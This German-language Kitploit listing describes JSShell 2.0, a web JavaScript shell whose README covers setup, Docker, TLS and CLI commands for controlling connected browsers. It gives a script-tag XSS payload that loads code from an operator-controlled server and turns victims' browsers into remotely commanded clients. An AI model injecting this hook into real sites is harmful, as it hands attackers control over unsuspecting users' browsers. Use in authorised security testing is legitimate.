Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
JSShell — Eine interaktive Multi-User-Web-JS-Shell | Kitploit
Tools/GitHubGitHub/den1al/jsshell
ExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Tool
GitHubden1al/jsshell

JSShell

Eine interaktive Multi-User-Web-JS-Shell

Repository anzeigen
364709vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

JSShell 2.0

made-with-python Generic badge Generic badge

Eine interaktive, multi-user-fähige, webbasierte JavaScript-Shell. Ursprünglich entwickelt, um entfernte exotische Browser während Experimenten und Forschungen zu debuggen. Dieses Tool kann einfach an XSS (Cross-Site-Scripting)-Payloads angehängt werden, um Remote-Code-Ausführung im Browser zu erreichen (ähnlich dem BeeF-Framework).

Version 2.0 wurde komplett neu entwickelt und bietet spannende neue Funktionen, Stabilität und Wartbarkeit.

Version: 2.0

Autor

Daniel Abeles.

Shell-Video

asciicast

Funktionen

  • Unterstützung mehrerer Clients
  • Unterstützung zyklischer DOM-Objekte
  • Pre-Flight-Skripte
  • Befehls-Warteschlange & Kontext
  • Erweiterbar mit Plugins
  • Injizierbar über <script>-Tags
  • Ausgabe von Befehlen in Datei speichern
  • Shell-Paginierung
  • HTTPS-Unterstützung! Generic badge

Installation & Einrichtung

Konfigurationsdatei

Im Verzeichnis resources aktualisieren Sie die Datei config.json mit Ihrer gewünschten Konfiguration:

  • Datenbank-Host – bei Verwendung der docker-Bereitstellungsmethode wählen Sie den Datenbank-Host als db (der interne Hostname).
  • Rückgabe-URL – die URL, der die Anfragen folgen. Die shell.js-Datei führt AJAX-Aufrufe durch, um neue Befehle zu registrieren und abzufragen. Normalerweise lautet sie http[s]://{YOUR_SERVER_IP}:{PORT}.
  • Startskript – ein Skript, das automatisch ausgeführt wird, wenn der JSShell-CLI-Client gestartet wird.
  • Domain – falls Sie TLS-Zertifikate generieren möchten, ist dies der Domainname, den der Server verwenden wird.
  • Es ist auch möglich, auf eine entfernte Datenbank zu verweisen, falls gewünscht.

Let's Encrypt

Jetzt unterstützt JSShell TLS, was bedeutet, dass Sie TLS-Zertifikate generieren und dem Webserver bereitstellen können. Der Webserver leitet den Domainnamen aus der config.json-Datei ab. Um das Zertifikat zu erstellen, verwenden Sie das Skript create_cert.py im Ordner scripts:

$ cd scripts
$ python create_cert.py --domain <IHR_DOMAIN> --email <IHRE_EMAIL>
das E-Mail-Feld ist optional.

Bitte beachten Sie, dass der Webserver gestoppt sein muss, damit das Skript ordnungsgemäß funktioniert. An diesem Punkt haben wir unsere Zertifikate erfolgreich generiert! Die einzigen Änderungen, die wir vornehmen müssen, sind:

  • Ändern Sie in der config.json-Datei das Schema des URL-Feldes auf https.
  • Ändern Sie in der docker-compose.yml-Datei den exponierten Port des web-Containers auf 443.

Docker

Diese neue Version unterstützt die Installation und Ausführung von JSShell über docker und docker-compose. Um das gesamte JSShell-Framework zu installieren und auszuführen, führen Sie einfach aus:

$ ./scripts/start_docker_shell.sh

Dies wird:

  • Die Datenbank im Hintergrund starten und erstellen
  • Den Web-API-Server, der eingehende Verbindungen behandelt, im Hintergrund starten
  • Eine neue Instanz des JSShell-Befehlszeilenschnittstellen-Containers starten

Normal

Wenn Sie immer noch die altmodische Installationsmethode verwenden möchten, stellen Sie einfach sicher, dass eine MongoDB-Datenbank läuft, und aktualisieren Sie die Datei config.json im Verzeichnis resources.

Ich empfehle die Verwendung einer virtuellen Umgebung mit pyenv:

$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

Oder mit virtualenv:

$ virtualenv -p python3.6 venv
$ source venv/bin/activate

Installieren Sie dann die Abhängigkeiten:

$ pip install -r requirements.txt

Ausführung

Wenn Sie die docker-Methode verwendet haben, ist es nicht nötig, die folgende Prozedur auszuführen.

Webserver

Andernfalls müssen wir, nachdem die Datenbank eingerichtet ist, den Web-API-Server starten. Führen Sie dazu aus:

$ python manage.py web

Dies erstellt und startet einen Webserver, der eingehende Verbindungen abhört und unseren JSShell-Code ausliefert.

Shell

Um nun die JSShell-CLI zu starten, führen Sie dasselbe Skript aus, jetzt jedoch mit dem shell-Flag:

$ python manage.py shell

Verwendung

Nach der Einrichtung und dem Start der erforderlichen Komponenten geben Sie den Befehl help ein, um die verfügbaren Befehle anzuzeigen:

     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

Allgemeine Befehle
--------------------------------------------------------------------------------
edit                Bearbeite eine Datei in einem Texteditor
help                Liste verfügbarer Befehle oder detaillierte Hilfe für einen bestimmten Befehl
history             Zeige, führe aus, bearbeite, speichere oder lösche zuvor eingegebene Befehle
ipy                 Starte eine interaktive IPython-Shell
py                  Python-Befehl oder -Shell aufrufen
quit                Beende diese Anwendung

Shell-basierte Operationen
--------------------------------------------------------------------------------
back                Hebe die Auswahl des aktuell ausgewählten Clients auf
clients             Liste und steuere die Clients, die sich in unserem System registriert haben
commands            Zeige die ausgeführten Befehle auf dem ausgewählten Client
dump                Speichert einen Befehl auf der Festplatte
execute             Führe Befehle auf dem ausgewählten Client aus
select              Wähle einen Client als aktuellen Client aus

>> 

Ablauf

JSShell unterstützt 2 Betriebsarten:

  1. Injizierbare Shell (ähnlich dem BeeF-Framework)
  2. Gehostete Shell (zum Debuggen)

Injizierbare Shell

Ähnlich wie andere XSS-Kontroll-Frameworks (z. B. BeeF) ist JSShell in der Lage, erfolgreiche XSS-Ausnutzungen zu verwalten. Wenn Sie beispielsweise ein <script>-Tag injizieren können, fügen Sie die folgende Ressource in Ihren Payload ein, und ein neuer Client erscheint in Ihrer Konsole:

<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

Gehostete Shell

Wenn Sie exotische und esoterische Browser debuggen möchten, navigieren Sie einfach zu http[s]://{YOUR_SERVER_IP}:{PORT}/, und ein neuer Client wird in Ihrem JSShell-CLI-Client erscheinen. Er ist dann über unsere JSShell-Konsole debuggbar.

Credits

Canop für JSON.prune

Verwenden Sie es auf eigene Verantwortung und Risiko.
Tool herunterladen